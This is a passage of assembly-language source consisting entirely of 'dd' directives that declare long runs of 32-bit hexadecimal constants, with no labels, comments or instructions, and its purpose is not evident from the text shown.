0DE0BEC7Ah, 7CEEF339h, 9F5A3C41h, 0CC477A12h, 0BD891E6Ah dd 2211DC1Ch, 8ABAF334h, 0FDCD0E52h, 65E130B1h, 8CFACB42h dd 6358B659h, 6E030867h, 495788D5h, 33A6EB34h, 0B7C72009h dd 88778AD8h, 0F4C01A59h, 4888EA69h, 0A24C759h, 3EE3C10Eh dd 34D1A11h, 0D129CC8Dh, 90516B81h, 7299C19Dh, 58133762h dd 0BDAAD0AAh, 978E6E5Ah, 297762C6h, 245EFB3h, 0DA6D6429h dd 0C0EFB197h, 79F45D60h, 6884D80Eh, 751F3413h, 0B095D6BEh dd 3A7517E8h, 0A84577D6h, 0B57E9893h, 0BA07A41Bh, 0EFE9E1E5h dd 94244716h, 33CDBBA9h, 0D056D2BAh, 53C85D4Ah, 739ADAABh dd 0F66A1132h, 5AD0C84Fh, 35F38779h, 347CAAEAh, 25773A30h dd 751134CFh, 0AFC0EB47h, 4B39A40Ch, 1516316Dh, 4D0B23E8h dd 0F9C7E08Dh, 57BCDC88h, 5ED0A3C3h, 0B39C527Ch, 72D1B3B5h dd 2F63C4BEh, 726798D6h, 0D4EB9D44h, 337DB217h, 76D82BA0h dd 0B1F37D8Dh, 57A1D5F2h, 0C649EB41h, 0EB71A61Dh, 81B43FD0h dd 2F3AA1DAh, 0D5FE693Bh, 0D0D1CAD9h, 0AF5FB125h, 3EE0F193h dd 93A37B0Ch, 3A4813A7h, 22169577h, 74BA25A2h, 0F5730A8Bh dd 436E5ACAh, 0EF8EF50h, 8149CBCh, 72D84E4Ah, 4DDF2299h dd 92F46C53h, 1867D05Ch, 2A937EDBh, 0E6DC9E2Dh, 81B6A1F3h dd 840AE690h, 9BDDD6CCh, 3AD08134h, 0AED158DCh, 6C7A51BBh dd 60729CE6h, 66FF1D4Eh, 9BFC436h, 61361D9h, 2924893Ch dd 25A56E07h, 572AA9F1h, 0FA760ACh, 0FB9C2457h, 3EB5C9CFh dd 1F22C1CBh, 79BC3211h, 393F30ABh, 6BBA5378h, 1FC0A338h dd 0D67C95A2h, 1171798Fh, 0C815C4E5h, 9C734E89h, 0BAE583E6h dd 4182755Bh, 0E7AA2869h, 0D19C3984h, 0B6E66419h, 0BA4855F0h dd 1A7D207Bh, 0EB6C7540h, 9E7711BAh, 175ACE39h, 38CDFAF1h dd 0CD88B905h, 7F2AE729h, 2C14D295h, 925836B6h, 4644F907h dd 2B7AA5D2h, 9EC7E218h, 1DEB8BCBh, 5F5B3BE2h, 0D0D74ADEh dd 0AAA02F16h, 163F1620h, 8D0DF405h, 3F27B563h, 0D336106Eh dd 0B537E54Bh, 0EB8E6C85h, 0C7969D6Ch, 14641DA2h, 13FF39A0h dd 0F4B26DECh, 0BBE95894h, 0A0132906h, 0D6C266DBh, 9592453Eh dd 5E62AC14h, 0BE41E7EBh, 0D9B26F4Dh, 8B211F10h, 1899DF45h dd 70BBD0D2h, 8E0C2E0Fh, 1E9B57E2h, 6096A242h, 5457695Bh dd 83F373B2h, 0B366A12Eh, 40858E78h, 10D12021h, 0A0D72747h dd 28B7E9AEh, 0E4D5CC0h, 3B8B15B1h, 610E82F2h, 36DB1F90h dd 0D9F921F4h, 0B48B45DBh, 0BAC9F20Ch, 0E81EC17h, 50FEB6CFh dd 96636F49h, 302EAA03h, 14F357FDh, 17313196h, 5A8F6DC8h dd 7FB59D2Dh, 0DE2F9C52h, 72B08095h, 0CDB139Ah, 33134850h dd 2E2F6F34h, 0F1A48B57h, 0C7D47DDCh, 279C871Ah, 45B06446h dd 2E464A9Dh, 0D41904D7h, 9DBBC751h, 0F9017521h, 0F2CDE698h dd 5FB0A8A6h, 0E91B50C7h, 0C352EE8h, 6456B453h, 0D959A3B2h dd 0F26C1DACh, 0AD26D304h, 3E0109E4h, 32500D8Bh, 40930C4Dh dd 0C155B81Dh, 0EEDFA53Dh, 7C24E404h, 9D1F452h, 828652F4h dd 0DD637713h, 1235394Ah, 0CCB4F8F2h, 0E87C4229h, 45F5F637h dd 56FAF5D1h, 5BFAD261h, 0B4E324DCh, 23664D45h, 8AA8CFFh dd 0EFF665E5h, 3B1A6240h, 0C36F904Eh, 94BB16B1h, 257852C3h dd 0C6B731ABh, 0B5F85EBAh, 25D719A7h, 0C2F69ADBh, 7D0EBE22h dd 0B9D77C3h, 97777CC5h, 0BE3A47BBh, 1867FED3h, 78F82037h dd 6A752A2h, 0BBD32D0Bh, 0C3D92D22h, 28C9B390h, 90AC690Fh dd 0A92E8D46h, 6D16517h, 1F694516h, 9339CBC3h, 0A134C35Ah dd 0D49DD40Ch, 5DF89E36h, 2B0BA3BDh, 3783E092h, 364292FCh dd 47C66CF3h, 0C0FC7D12h, 91DF357Dh, 19130DC5h, 4F31ABh dd 1732997Fh, 25756743h, 833B6955h, 0B78D35E6h, 1709F06Dh dd 580B410h, 908E6DBDh, 80AF34F5h, 16BE7A4Eh, 759EC4h dd 3BADF0EEh, 8DA728BBh, 39BA63C1h, 0D292B876h, 0F72BBE1Fh dd 8EA86CF0h, 92FDA4D5h, 0AEC4B0D1h, 4DEFB22Fh, 33F70C87h dd 23154A05h, 5DECA088h, 69840664h, 2B0352D1h, 654F049Dh dd 5630C1CCh, 0EE5A10B6h, 0D8823E78h, 0AA25F655h, 10D3B9EBh dd 9CED09D9h, 0FE96E31Bh, 3D942E76h, 7F10323Bh, 368F3121h dd 5C5DDFD1h, 0E494D039h, 0CBBFFA56h, 1C24193h, 0AC3110B0h dd 30836F80h, 335D0281h, 8E825417h, 0C3421885h, 0A38E0B62h dd 6481002Ch, 7DD67666h, 74FEE02h, 1716ABC8h, 7670E00Ch dd 7C22207Dh, 21C4BE32h, 9BE1A55Bh, 11180430h, 749DE7CCh dd 0BBD354F1h, 0AD6B41BEh, 6AEC703Ch, 0B36CAFC6h, 0B19F5D84h dd 0CB430548h, 0AE842365h, 0C07A231Ah, 0E1B57E24h, 0FAF10B1Eh dd 0A8D12581h, 992353A6h, 0DF80B3E7h, 8A862566h, 14B18DCAh dd 0C81E05D5h, 7441C233h, 86A979EFh, 2580FFCAh, 24037B1Ch dd 0A5429621h, 0B619697Fh, 934B7601h, 7E64C3F3h, 0BA707151h dd 19A3D6A1h, 27811F7Ah, 6279E69Bh, 0A830B10Ah, 52836070h dd 8BE84382h, 0BBFCA31Dh, 338F1EFh, 4A64AE8Fh, 0C251124Ah dd 6A1B8C72h, 234CD0D5h, 3C6B76B6h, 0D7D062D6h, 4C1A9488h dd 52D36E6Ch, 87FEF8CBh, 81FFC1h, 0CE197862h, 0D356EB66h dd 4BB8D490h, 0D9472127h, 70E89FB5h, 75142A1Dh, 0CE5EB5C6h dd 0D69EE9C4h, 0F25286F0h, 76D54871h, 0BDD8EE06h, 0CEFAA67Ah dd 1BED81FCh, 0BCF7E58Ch, 0C28BEC8Ch, 27F4A9D9h, 0BC3D899Ch dd 74491961h, 0F6E07B94h, 0DB61AFC3h, 0EADC3CAAh, 68F882CFh dd 1C99E12Bh, 9D15A2F9h, 0C89837FDh, 799C8D7Eh, 0E216FD6Ch dd 0FAD73670h, 764CF63Dh, 0FF65EEBFh, 8DF3A4EAh, 139784F8h dd 0A005D1C7h, 26E6B732h, 7D364730h, 0F3C697FEh, 396DEDEBh dd 13E90E5Bh, 0A5241B88h, 385CF3D2h, 8FBCDF52h, 0C30058BFh dd 932F5650h, 6C31FEE4h, 20DFD61Eh, 0B44CE776h, 0C102CF6Ch dd 0E73C9055h, 54A3F38Ch, 74B6BD7Eh, 0A57BAA14h, 31946592h dd 253E4381h, 0AB8A55BBh, 6AA7D6B0h, 81C73065h, 44007FC4h dd 82A56C02h, 0FD5AB298h, 866CAE56h, 95BCF010h, 0D4BF8433h dd 2D7B2D06h, 0A056D47Ah, 2C8E73CAh, 45508EABh, 75EDD36Eh dd 4E4C8C42h, 43E45362h, 0F087B4C7h, 54948D64h, 4F55A798h dd 8BC56DF2h, 8783E81Eh, 0BCE4D8CBh, 79E7D8C9h, 0E9681F20h dd 52A7EA91h, 497A7391h, 0BB1FBA29h, 318600BCh, 7E97B539h dd 1F3FA52Eh, 0EA75AE27h, 0E6E50822h, 0FB87900Ch, 0FAC0E5E7h dd 85B4D12Dh, 956693DEh, 953D5F92h, 1EBDA738h, 7F0AC9B4h dd 4DCF2EEAh, 5393C2F2h, 50C606BEh, 4995E9E3h, 69131D5Ch dd 0C60D5D0Eh, 776EF6D9h, 754D754Ah, 15812BBAh, 4F0907A8h dd 0BAC48AD9h, 0D258F780h, 0F54B4626h, 9C88C08Ch, 0F2BDDBC9h dd 0F0F87492h, 393CEA85h, 6B07A717h, 0D54E0F87h, 3679D735h dd 0E8DEB0EFh, 0E66AC23Ch, 0E6110148h, 5F80C657h, 79CE84A3h dd 0EBFEE82Dh, 908778EAh, 0D498C911h, 0F7453994h, 4074AD6Eh dd 9F4836ECh, 719DB865h, 93FF36E9h, 6EBCA7F5h, 415C1A80h dd 22540812h, 0DDC6A1F4h dd 6B6E894Dh, 0ED085D93h, 0EA38887Bh, 0E50D2C47h, 18D60C15h dd 2532B22h, 1C3BCF26h, 3DB93334h, 0DA5208C2h, 0DA42EA81h dd 4165FD04h, 5D1271D8h, 0C8B9D6C0h, 0E765CDACh, 0B072F3D6h dd 0BD2EEE62h, 850F5B2Fh, 80A66976h, 65AAAA7Ch, 0C0080538h dd 81D5510Dh, 55C96C7Ch, 987FA2Dh, 355B2534h, 0CBE58B25h dd 0FABB31A5h, 0EC00EAA4h, 0D1E052C6h, 0B63B67C9h, 9B1AEBCDh dd 8ADA0E58h, 23A3CF7Eh, 34547604h, 987A486Dh, 0C1B6B64Eh dd 0FE101F70h, 4CD3404Eh, 2BA5F259h, 0E213C008h, 276F76CCh dd 0F99A7D26h, 0ACBDEA35h, 43AE4EFDh, 1F5F52B3h, 0D68F7A71h dd 0E6D9B81h, 1B06D6B5h, 1A6D8A81h, 1A27A4E7h, 68FEBE0Ch dd 0D020535Eh, 8CE6BC15h, 6CB9D9B1h, 99ED9180h, 0A928786Bh dd 0B4365388h, 9CDAA18Ch, 900254BBh, 1DB1A554h, 44AE8379h dd 41383051h, 6E76ACAFh, 0A56CC226h, 6CEC4F2Ch, 0B826A43Fh dd 71C5BD26h, 22FE9AEFh, 409E033Eh, 9115E6CDh, 493A1067h dd 0FD4D56F9h, 321A37BFh, 0D3E4E382h, 0FB9C9A5Ch, 0DB1959AAh dd 0D3567450h, 0DE73792Bh, 0A18ACEDBh, 3B1AF98Dh, 79C5C906h dd 7AA28ACEh, 3C1C05E7h, 94C6D498h, 7AF4C4FAh, 39F59719h dd 17179F80h, 0CAF4639Ah, 0A2342B36h, 42A31C35h, 0D6BAEF5Ch dd 3D643B26h, 0BE3D74E2h, 33E0AAF4h, 5416E305h, 0FF6F9DB4h dd 5F1EF73h, 0D794762Fh, 0FB7AA86h, 0A39B1AB6h, 594E057Eh dd 0EDB2EA35h, 0FF855929h, 16BDEE33h, 0DBC1EC52h, 7E392FF5h dd 0AAE75AE6h, 5BF4590Fh, 3B6E6550h, 0E8792BBh, 8084D4A8h dd 495DF657h, 97225EBFh, 21A26C66h, 3C777E43h, 4CE691B7h dd 0EF7652F5h, 0C67F9359h, 50B1FE7h, 7DD7776Eh, 4BD8F93h dd 26CA1BDh, 0AC6732DBh, 0D9B3920h, 7DFE654Ch, 877E588Eh dd 0FD22AF42h, 0DF577F1Dh, 2E262F38h, 730F90D9h, 214315D8h dd 0FDBE3266h, 48D4FF4Dh, 5B19798Dh, 57DC8646h, 5623621Ch dd 0E5C6A754h, 0CACBDCE6h, 4441C55Ch, 4C3EF0C3h, 0C21C11B9h dd 0C9DDB48Bh, 303E8C76h, 7EBB8165h, 38B2BA88h, 0D12B89A3h dd 63AF1E10h, 83F41AE8h, 0F55F765Ch, 0EE7DB98Dh, 0FC6B84C1h dd 0E3B02470h, 20287936h, 6EE5362h, 25106FA7h, 0CB1C908Ah dd 0A84EE789h, 135A6067h, 8A89DA1h, 7C8BB562h, 4350BB3Eh dd 6F0E0CB3h, 0A610B7BEh, 0E191F66Ch, 4F5B0F31h, 0BC129371h dd 2AF5152Bh, 5B2EC001h, 0B6644ABh, 0C7D3FA31h, 89DF44AEh dd 4B54C1A6h, 9F160C62h, 45BBA9DDh, 0E7A23BCDh, 0C746BF6Ah dd 0CE719A1Dh, 481CBB01h, 2ACA0770h, 920D48C7h, 0EB5BE308h dd 20DACAAh, 82CBEDB7h, 0E7B1EDE5h, 5FEB5CB4h, 0A8A40385h dd 0AD66A49h, 281C7DF7h, 65DB15FAh, 0F67D3233h, 0B552CB06h dd 0ADDD9E4Bh, 6983C936h, 85A9E3D5h, 8415A05Dh, 3DBFA5C3h dd 0A16F375Eh, 394B487Dh, 0B5F72C3Dh, 0D8B7315Ch, 0EBB438D4h dd 0CD372DE8h, 0F7F0FEABh, 69607704h, 471524FCh, 14C01630h dd 0FF43AD3Ah, 9704E82Fh, 20720B3Ah, 408116C8h, 22CD8409h dd 0D0C9312Fh, 0DA821D05h, 0A0CECAEDh, 944145A0h, 945101A3h dd 0BA06D94Dh, 2984177Ah, 933869B6h, 0F62DA5DDh, 0E880E2EAh dd 9158DF7Bh, 637D9443h, 0EE58E5E5h, 24BF19AEh, 0C4A9B355h dd 3CF036A2h, 2820CA83h, 805354C2h, 0B5202478h, 4CDC2394h dd 0BC0B6E44h, 27B9FBFDh, 535E77Fh, 72A9DE0Bh, 8CACB110h dd 0A95BFB0Eh, 63F772Dh, 6EF065D1h, 0AE5EC98Ah, 4C4F8FC7h dd 6EE46BD0h, 194B2826h, 32603208h, 0EB5A8C58h, 2B61F792h dd 4125FA6Bh, 4D47CCA3h, 0FA3445C9h, 0B36603C1h, 0EC7076BDh dd 0BA909540h, 58C44014h, 901BE800h, 6BDDEF09h, 0FE268E64h dd 432C6CEh, 76B866C5h, 43719188h, 8FEC3C0h, 0A694DF9Ah dd 43D7CF70h, 3D2862A2h, 16844386h, 0A64663AFh, 87BB98B1h dd 3B9417BBh, 0CE8475E8h, 63561A5Ah, 479D1E53h, 54DE083Bh dd 7F959A82h, 0E8693E62h, 36C796D7h, 14C8D8A2h, 2A47DC15h dd 0BC271531h, 0A0FC2C17h, 0B099F1E3h, 874D2DF0h, 0EC2EDE13h dd 759F8839h, 597C39EFh, 0C2C01C8Dh, 7A3BE00Dh, 68F6FE68h dd 5FC4E7E2h, 0FBBC0F16h, 0EF3523C7h, 4390E390h, 89F22F34h dd 0CB3DB812h, 0D115C3ABh, 0A24E3E58h, 8191F0D3h, 39A9720Bh dd 88F42FFFh, 64CAA1AEh, 0AB7C1F97h, 33893AF7h, 20F249F3h dd 44755F0Ah, 5311095Dh, 61238549h, 39A43E7Ah, 52E691CCh dd 0ACBB149Bh, 47B4AEAAh, 0FA81E268h, 0CE0492ABh, 2FED48CEh dd 47A0EF8Eh, 0F8015239h, 0D69331Bh, 0C6B34D4Bh, 0F4AC072Eh dd 0EA64054Ah, 677C2D6Fh, 0AB371329h, 1FE9DE7Dh, 74BE5B6Fh dd 587D4712h, 0F070719Ch, 0AFB8260Eh, 80F44CBFh, 36A03B35h dd 0E35136C3h, 0DCAB671Ch, 2985FC29h, 475F2F3Ah, 0EFEDC52Dh dd 61EB348Ah, 0C362422Fh, 312B463Eh, 0BBF2D46Dh, 0A6A68824h dd 0DB0047D2h, 2DDE1283h, 7FF6B990h, 0AF2FD7B6h, 0CE32082Ch dd 2C5BDB62h, 0DB48A211h, 0E419F379h, 0CF928656h, 15584B35h dd 8F825B9Ah, 0B9F2C79h, 0B48C91DDh, 9F021577h, 61D5F5E4h dd 5F275E76h, 3C87CAB7h, 0A0DB0518h, 323CF944h, 0F721598Bh dd 0F9110A95h, 6750B256h, 69D59A1Fh, 928243FDh, 0F9A317CAh dd 4BACC5E1h, 4D31A6C9h, 0AA52CFE6h, 21CF07BBh, 1302FB49h dd 5C534B42h, 0DCEFB53Bh, 0D5A13FDh, 7710E33Ah, 3EE7F099h dd 395980DBh, 94138979h, 0EA88240Bh, 26EFE4DBh, 64FFAB4Eh dd 184C4D90h, 0BD5EF1Ah, 167C2EBFh, 3316143h, 2A48293Ch dd 119CEFE6h, 0F656AE7Ch, 28116A01h, 0CB06AB3Eh, 52656EBEh dd 2EBED60Bh, 2F23A695h, 23A74C50h, 2651182Ch, 13541BD8h dd 87601EDBh, 1A91E90Eh, 9BA608DEh, 0CD39F8B4h, 0F8E8F743h dd 0B1BF1DB6h, 0FA4ECE9Fh, 4807E436h, 0C20432FFh, 0E73A9D17h dd 0AF105CD3h, 9C3EC2ABh, 4144AE04h, 9A364C13h, 0B35C64D5h dd 494D4D4h, 2CFE553Ah, 0FDA30EA7h, 862AB08Ah, 0BFE65A55h dd 49D6D7ABh, 0A3867FCFh, 0BC016F3Dh, 0B45FD507h, 903854C7h dd 0DF5C4683h, 6B5FD7BDh, 0E742322Ah, 9AA55BF4h, 0AEE59DB8h dd 692FED2Ch, 7536B929h, 6FFB6A8Eh, 8B380083h, 0B48F28B6h dd 0DC1991B4h, 9E4C03C2h, 330ACDC7h, 0DCF7FC9Eh, 6E2A0B17h dd 0E55F6993h, 21B34834h, 0F89FD68Fh, 97A107EFh, 0CBA2BBBDh dd 0F4A3E8CCh, 174BA096h, 0CA5264F0h, 0E85E4ED6h, 295B21C0h dd 0C0501797h, 3E1C8C4h, 4BEEC595h, 0E7741694h, 1BEFD0Bh dd 9A8AFC49h, 6BD4CA9Dh, 7C0FCB03h, 0CF79F8D7h, 638E39B2h dd 0E40F0599h, 8CC2CA0h, 0CD4DEB86h, 8B3E6947h, 66694CE1h dd 417304D8h, 413E5692h, 0F91A0A1Fh, 117E6BC7h, 9E52CFE1h dd 4D1C6AA7h, 886B2C65h, 4F349D37h, 0B6BBDAAh, 0CD43E8CCh dd 0AB31668Ah, 87954396h, 0C9C38C3Bh, 90EDD540h, 2FC56D41h dd 9CC2FC80h, 0E6A2F374h, 0A5687CAEh, 42AF7F91h, 896DF00Bh dd 4809EB75h, 4C861574h, 0A52F6701h, 5FDF80BEh, 1748C184h dd 72BE33A0h, 2BE5C614h, 20A92A7Eh, 0E5867D12h, 91461D4h dd 369D22E0h, 310EF7F4h, 21C80F30h, 31FCE20Dh, 3FCD50C9h dd 366F5D6Bh, 1CA22FC0h, 9431631Eh, 0B1A63447h, 3B30E47Ah dd 0FAA8359Dh, 0A87C1AA3h, 0DA566967h, 21368A0Ch, 0D18006E3h dd 88C402EEh, 371817AFh, 33A14B76h, 6C2F7B50h, 0A69D19A1h dd 0D98DC381h, 5B2A298Eh, 0F37397E9h, 149D64B8h, 50E6D9F5h dd 484FDED8h, 827E4329h dd 8575312Bh, 0E2CE4CF5h, 0A2868AB8h, 157B7ECFh, 4D1B3C91h dd 6016B775h, 56FF46E3h, 26442968h, 186A48ACh, 0BD3A279Ah dd 0CDBB0BECh, 9895CFB5h, 5B7A1F83h, 0AB9C5C19h, 7C8BF085h dd 2F8AB057h, 53C80573h, 46AD20F1h, 937A532h, 0D0528E7h dd 8BA2F7Dh, 214416ACh, 0C896C59Dh, 70D7F7DFh, 92D2FF2Bh dd 0CE879385h, 78A0A015h, 3B8F6B77h, 7544C0D6h, 7023494h dd 0F7F7F52Dh, 9DE94818h, 0EE8C30C2h, 8D4D16FEh, 82BC3495h dd 878A57AAh, 5F344090h, 0E125C59Fh, 64420918h, 3B696575h dd 6DFE16A9h, 0C030B5BEh, 0E1CC52A6h, 93D1535Bh, 0BF0FE6F8h dd 0DC401D5Fh, 0F7C683AAh, 4468CC61h, 2423D24Dh, 0AB5B91DBh dd 0A4A84479h, 588309B9h, 7E31404Eh, 1239CDBFh, 9BCF7147h dd 7888BF73h, 0FDC8ECFCh, 0DC024762h, 329956B9h, 9B91B828h dd 14DF9F87h, 82495E7Eh, 0C088EF0Eh, 9C783CA0h, 0A8E361F5h dd 83208EE1h, 0E9567964h, 157FAAFAh, 8AEB5594h, 0C9149A9h dd 7FD39D7Ah, 182D66BAh, 734D5636h, 5B7133C6h, 2D974A0h dd 0C3F04EE5h, 0CABCB038h, 8E8DB22Bh, 7E9D77FDh, 286E56E8h dd 97E267BAh, 875E1925h, 204AB561h, 4D02DF43h, 5F915EB4h dd 2CAB2EBEh, 0B3D5F05Ah, 407E110Bh, 1012A9E0h, 72CBE68h dd 0F46EC540h, 0C698E803h, 2F935B9Bh, 4AE6A99h, 0DD3C3C16h dd 0EFEBB8E7h, 32C3FEB7h, 81D4F99h, 3E324D37h, 0A56147FDh dd 4528DC24h, 1AD466F5h, 984BE278h, 0FC792C2Eh, 438368A8h dd 7AEACC02h, 0D49D709Eh, 0BD799DC7h, 0AC4AD7C0h, 0CBA6A5EEh dd 26A261A7h, 0A1C208FCh, 16ACD1E1h, 0CEB90182h, 5063DE9Dh dd 984AEF05h, 0DC6F52C9h, 69DD9EF3h, 6B170C57h, 9B200178h dd 2FCBCA66h, 81B1BC5Bh, 0DE9EA651h, 3B04D69Fh, 0FFDCAA93h dd 0AB3247C8h, 3C380D91h, 0E8993F49h, 9BF1EA6Eh, 47FD1D05h dd 0C864B02Dh, 123DE4ACh, 1F32005h, 8319DB41h, 3F31C5E5h dd 3EB8CE3Fh, 30B5C1CAh, 0F1642C04h, 0D3E0A1F8h, 0D9F7EB13h dd 592644E8h, 0BA7EB92Bh, 0BA571A2h, 63D275F7h, 5BA7D2FBh dd 0CCD00C5h, 68F57A37h, 11ECC603h, 930CF764h, 0BAA208AFh dd 0D0778564h, 836FB58Eh, 70B61C0Eh, 25815496h, 39D201D8h dd 5BD8F6B8h, 6F58E5E5h, 0EDB9DECFh, 0D1048916h, 0CA3634A8h dd 0DD598C37h, 80522130h, 9761EA52h, 1FE42B13h, 0C4B5E6FFh dd 98194E70h, 624FA452h, 607679E4h, 0E2A7B0C2h, 4C021F77h dd 0E18591C3h, 96FE3CDBh, 2EF8B3F1h, 6BC25B9Eh, 3ABC78BEh dd 514F319Ah, 0D244B0D2h, 10B23633h, 0D2A70987h, 68E035A1h dd 18ED756Eh, 233D1476h, 6085E3BCh, 825DA3B8h, 0C4665F03h dd 9084E7E9h, 0A601193Ah, 763B80A7h, 5D083D15h, 350F6332h dd 4772A831h, 677B637Fh, 0C5287D23h, 833DF81Eh, 0ECF1230Ah dd 0EB080FCFh, 1C5E5E1Fh, 57F18362h, 4EE1A0C7h, 6515E5C9h dd 0E4F36745h, 0E669E4F6h, 0D7B66556h, 894CB31Fh, 0C0F041D0h dd 2992E163h, 0B064583Eh, 0B78AEF00h, 7A291E24h, 5247306Dh dd 6A57A5DFh, 2CA64104h, 4637974Dh, 0EE062F43h, 0F3E2B24Fh dd 14AF3CBh, 3DE7BD1h, 93632453h, 4D43F0Fh, 5BDF61D9h dd 0E8AA8D7Bh, 7F01B8BEh, 0EB11FF87h, 6A08EA00h, 0E918F59Fh dd 0BDAABE15h, 8888A018h, 4A06198Ch, 475965E9h, 6F328294h dd 0D5968A78h, 0AB2E738Fh, 0FD946FD9h, 6E264208h, 0A90D5855h dd 2AAAE2EFh, 0A2DCD388h, 633BDA94h, 0BC05B3Eh, 0BD9CC095h dd 0C44F556Ch, 0E65114A7h, 0B5BBA979h, 61B77608h, 7526FB41h dd 0D5BF4BFCh, 19D239C8h, 91158E1Ah, 265F0961h, 6C8D2CAFh dd 5765768Dh, 227DCEB7h, 180207F1h, 0EA8400DDh, 0C2A9E982h dd 0FBA0D883h, 284B7DD2h, 82E315C5h, 47795CAFh, 0A4853195h dd 9EB49AD8h, 521831E0h, 0C8116B0Dh, 0EFDA53E9h, 0B71BBE44h dd 0CB2DCAA2h, 0F7E76050h, 6A83AF95h, 0B8D78100h, 0AEEDFB2Ch dd 8C3BCBC1h, 0F653ECF1h, 96C10824h, 8D8B4694h, 8F19532Ah dd 15BF8D4Fh, 77A16446h, 0B7E47594h, 0FF6DE1C7h, 90EB8138h dd 0FB231889h, 53DCA256h, 94464FC4h, 77210448h, 0BA3DB02Eh dd 0FD5DBFFFh, 0FFCE9452h, 0BB6A18C3h, 333A8301h, 49FF83E3h dd 72D56DC6h, 16A0726Eh, 0D90C18D1h, 6DF49E21h, 8A8AF345h dd 0A7D63B4Ah, 0BFDA69C9h, 0C52EF3F6h, 1A777F2Fh, 3190FB26h dd 4A4E52AFh, 7C177BBEh, 0CBC2295Bh, 61A3A039h, 52F0DC05h dd 8EF13D69h, 3808C8A0h, 0E6E7C948h, 1B2AF9C7h, 0F9EDABAFh dd 0ECCE7317h, 0A89C4806h, 5BF9D1D5h, 0ACE99EAh, 139F3733h dd 0D0570A34h, 4E9F2267h, 43EDD6EDh, 0D9A68D74h, 0E7094CDCh dd 95E8FA9Eh, 0A7545542h, 7BACBC21h, 2C480216h, 97D40305h dd 0CE8C8587h, 0A22919E8h, 67C51AC2h, 4834BF6Fh, 646A2F0Eh dd 0A5F9CD01h, 0AD3CCDFDh, 5669A544h, 1E76A50h, 0B578B07Fh dd 0D907A29h, 85757882h, 97A601BDh, 0B861E13Eh, 5E432AADh dd 0F2CB7F01h, 0CD6DE7E3h, 0C1CE1D6Bh, 8F65687h, 77368BA2h dd 0FF1B4A59h, 167C71F8h, 0F39969C2h, 8AC0C0D5h, 0C39F75AFh dd 0E9E10A26h, 2C888E87h, 0E85C054Bh, 17D2BAD5h, 0AEFE323Ah dd 9B5B1304h, 0E9ADF512h, 38732B50h, 0CD68996Dh, 0E81B7363h dd 0C4A2754Fh, 2B44AF99h, 52B8DE59h, 4D0593AFh, 0BA61DA92h dd 38E0D456h, 49EA9649h, 0DFAF7E31h, 4E3B4A0h, 31738C3Fh dd 52044F14h, 765F7573h, 0CBE15871h, 0FD1C2A5Dh, 912D1E86h dd 0DDD042A8h, 5355813Bh, 0D4181A8Dh, 2902FDC8h, 0AB615524h dd 0C9CE3ECFh, 37D791E6h, 98FCAD2h, 37BD0BA3h, 0A478C57Bh dd 0AF1A0CAAh, 0B7B1F39Dh, 0FF002C2Dh, 18003F89h, 0EBD0C6EAh dd 0A958027Bh, 2A4F57FDh, 81DF7ABFh, 0FB39DD83h, 12150833h dd 626EA759h, 89B8C39Ch, 41929FDBh, 90FEBBF0h, 3F9C173Dh dd 0F4AA1DC8h, 0CA9040CBh, 88D629Dh, 167D77h, 99C19965h dd 2F36FD8Ch, 2F272FA2h, 66DA80F4h, 28F8C885h, 436D13A4h dd 21AB7AE2h, 0F93D41A6h, 8F6C37C9h, 4F94B081h, 0F950811h dd 87667A35h, 0A503EEEFh, 3EEC53Fh, 81C9FD98h, 22023F28h dd 0F71212AAh, 0A9061A78h, 2D0D6D1Ah, 0AFF26F7Ah, 0C7AC55C2h dd 2253D7F8h, 0D9D0B2C4h, 714FB2B6h, 0CEAFF433h, 273D401Ch dd 189F6E6Fh, 9898B2EFh, 0EA29D597h, 397B426Dh, 7EF05062h dd 871A64F9h, 0C30BB8BCh, 0FD16E682h, 0CFF39D49h, 8F90A5BFh dd 17726535h, 6758473Dh, 6077B674h, 8E782FB9h, 0D1C3FF3Fh dd 0ED5E978h, 5EC913Dh, 5D5B1569h, 79292F5Ch, 3532963h dd 0A5E657D3h, 0F46879D6h, 53730056h, 4CC229E6h, 36D41B69h dd 7FB84D78h, 3E956ECDh, 0F67E9A83h, 0A44925C8h, 13AECF60h dd 341FD213h, 0BCA3A71Ch, 1E6E376Ch, 63B2827Ah, 70036757h dd 2D53285Ch, 9D83C866h, 0E326897Bh, 0A0C2453Fh, 0D0990364h dd 62BFDFDEh, 6E50C2A3h, 94F035E0h, 3397E8CDh, 23A9DB6Ch dd 2906292Fh, 16AC6129h, 3BE62686h, 0A8D7AB4h, 0CAF8336Fh dd 77B58134h, 9A6CF660h, 7053F99h, 7FB28959h, 31F2278Dh dd 0D5BC049Eh, 34D564F9h, 0B8EABBB1h, 3DA9DAFBh, 0ADDC061h dd 29D6F3C2h, 8013DB91h, 0EA4FF20h, 5607AD22h, 2EC188E3h dd 0BC94C924h, 0F66A1721h, 0F70826D1h, 458F5AC2h, 27FB899Ah dd 0E179D2A8h, 50D9004Fh, 7AB06BEEh, 0FF200F11h, 89BCE787h dd 0A9D5FC03h, 42B9FFF1h, 9DBE75D1h, 0BD7A2DB1h, 0D4BA1AF5h dd 0EC374E1Bh, 58504C70h dd 9DB673BAh, 3AC69EBFh, 13C11CE6h, 2F77C28Fh, 0B68C9FFh dd 0BA988CA2h, 0BFB60018h, 7BBF020Ch, 2415DD21h, 0BF3F3A2Eh dd 70846E99h, 6EBE9FF8h, 285869B8h, 6CE94E8Fh, 9944DB3Ch dd 7265F058h, 0BEE14ECDh, 0E2E1B79Bh, 4164A6Dh, 7B6C21D4h dd 0C3E0CAE1h, 936419E5h, 1976EEFDh, 3160A76Ah, 0F8C78535h dd 41B2C483h, 19E0AF46h, 4B75A167h, 0C066502Fh, 0F3AB4AE8h dd 21FE5286h, 6C2718C3h, 455D59F7h, 430F1759h, 0E82AF057h dd 624FED03h, 260F96BEh, 75C1631Fh, 4E204EE5h, 0F41DA764h dd 0A3014D99h, 48A7764Bh, 0AFB77AEFh, 4E45214Ah, 5CCE5D19h dd 64BD3357h, 0B1B1055Ch, 9760105Eh, 926D4AF1h, 6C8DDF77h dd 38DF8F40h, 0CEA7779Fh, 4E4DF8F3h, 46F193C8h, 699EF076h dd 0DC0B8342h, 0AECC86B3h, 0F0C527A6h, 0A762FED1h, 85C8F89Ch dd 0E8CC8AF0h, 0C5C7CA9Dh, 1AFC21F2h, 796240ECh, 0F26C3E50h dd 3B0C4E81h, 0A263653Ch, 0A6146BCDh, 105ED1Ah, 6A468236h dd 44238F7Ah, 0DB235459h, 0AE529A7Bh, 7D608887h, 3BE80244h dd 0F0D23B53h, 2572868Bh, 6E8D5EF3h, 0E40B921Eh, 9CAC3B4Ah dd 0A1E0163Ch, 